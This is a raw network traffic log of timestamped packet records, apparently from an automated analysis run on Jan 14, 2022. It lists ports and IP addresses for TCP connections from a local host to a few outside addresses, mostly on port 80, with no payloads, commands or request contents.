Jan 14, 2022 09:26:02.894866943 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.894893885 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.894934893 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.894942999 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.894975901 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.895015955 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.895040989 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.895056963 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.895097971 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.895102024 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.895139933 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.895179987 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.895188093 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.895217896 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.895258904 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.895265102 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.895298958 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.895339012 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.895344973 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.895380020 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.895414114 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.895426989 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.900269032 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.906538963 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.906564951 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.906851053 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.906867981 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.907011986 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.907028913 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.907186031 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.907201052 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.907344103 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.907361031 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.907522917 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.907540083 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.907677889 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.907692909 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.907797098 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.907896042 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.908051968 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.908071041 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.908216953 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.908236027 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.908375978 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.908390999 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.908545971 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.908562899 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.908710957 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.908726931 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.908881903 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.908896923 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.909048080 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.909063101 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.909240961 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.909250021 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.909440994 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.909456968 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.909626007 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.909643888 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.909782887 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.909910917 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.909990072 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.910182953 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.910202026 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.910451889 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.910466909 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.910676956 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.910696030 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.910870075 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.910886049 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.911048889 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.911067009 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.911227942 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.911242962 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.911387920 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.911406040 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.911561966 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.911576986 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.911720037 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.911737919 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.911900997 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.911920071 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.912060976 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.912080050 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.912286997 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.912306070 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.913569927 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.913614988 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.913628101 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.913677931 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.913680077 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.913722038 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.913750887 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.913762093 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.913800955 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.913811922 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.913839102 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.913913965 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.913944006 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.913954973 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.913992882 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.914021015 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.914031982 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.914071083 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.914098978 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.914269924 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.914284945 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.915051937 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.917480946 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.917512894 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.917597055 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.917609930 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.917774916 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.917792082 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.917943001 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.917959929 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.918142080 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.918158054 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.918320894 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.918339014 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.918504000 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.918519020 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.918689966 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.918708086 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.918879032 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.918894053 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.919054031 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.919074059 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.919250965 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.919269085 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.919428110 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.919445992 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.919637918 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.919655085 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.919842005 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.919862032 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.920028925 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.920044899 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.920207024 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.920223951 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.920387983 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.920408964 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.920569897 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.920589924 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.920753002 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.920773983 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.920934916 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.920953035 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.921209097 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.931395054 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.931453943 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.931485891 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.931514025 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.931575060 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.931603909 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.931632996 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.931693077 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.931752920 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.931916952 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.931946039 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.931977034 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.932037115 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.932065010 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.932097912 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.932154894 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.932183027 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.932215929 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.932275057 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.932305098 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.932337046 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.932399988 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.932429075 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.932460070 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.932521105 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.932549000 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.932565928 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.932605028 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.932629108 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.932646036 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.932686090 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.932709932 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.932727098 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.932769060 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.932796001 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.932807922 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.932848930 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.932873964 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.932890892 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.932929993 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.932955027 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.932970047 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.933011055 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.933037043 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.933052063 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.933094025 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.933119059 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.933134079 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.933175087 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.933198929 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.933214903 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.933253050 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.933276892 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.933294058 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.933334112 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.933361053 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.933373928 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.933414936 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.933442116 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.933456898 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.933497906 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.933523893 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.933540106 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.933578968 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.933619022 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.933669090 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.933679104 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.933720112 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.933729887 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.933763981 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.933816910 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.933841944 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.933891058 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.933933020 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.933939934 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.933978081 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.934022903 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.934046984 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.934063911 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.934103012 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.934109926 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.934144020 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.934178114 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.934184074 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.934222937 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.934252024 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.934262991 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.934303999 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.934331894 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.934343100 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.934381962 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.934411049 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.934421062 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.934462070 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.934489965 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.934506893 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.934545040 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.934575081 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.934583902 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.934626102 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.934653044 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.934664011 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.934703112 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.934730053 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.934745073 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.934847116 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.934879065 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.934886932 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.934927940 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.934958935 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.935029984 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.935074091 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.935100079 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.935117006 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.935158968 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.935184956 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.935197115 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.935236931 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.935265064 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.935276031 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.935313940 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.935342073 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.935354948 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.935395002 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.935424089 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.935435057 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.935477018 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.935504913 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.935516119 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.935574055 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.935605049 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.935628891 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.935684919 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.935714006 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.935740948 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.935797930 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.935827971 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.935857058 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.935914040 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.935954094 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.935971022 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.936027050 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.936059952 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.936081886 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.936131001 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.936163902 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.936177015 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.937104940 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.939215899 CET	49882	38133	192.168.2.4	86.107.197.138
Jan 14, 2022 09:26:02.939524889 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.939558029 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.939707994 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.939723015 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.939913034 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.939929962 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.940083027 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.940100908 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.940272093 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.940285921 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.940443993 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.940462112 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.940637112 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.940653086 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.940809011 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.940826893 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.941001892 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.941016912 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.941184998 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.941204071 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.941349030 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.941365004 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.941504955 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.941523075 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.941607952 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.941764116 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.941845894 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.941947937 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.942020893 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.942120075 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.942202091 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.942395926 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.942437887 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.942446947 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.942563057 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.942804098 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.942821980 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.942830086 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.943017006 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.943032980 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.943161964 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.943178892 CET	49891	80	192.168.2.4	185.215.113.35
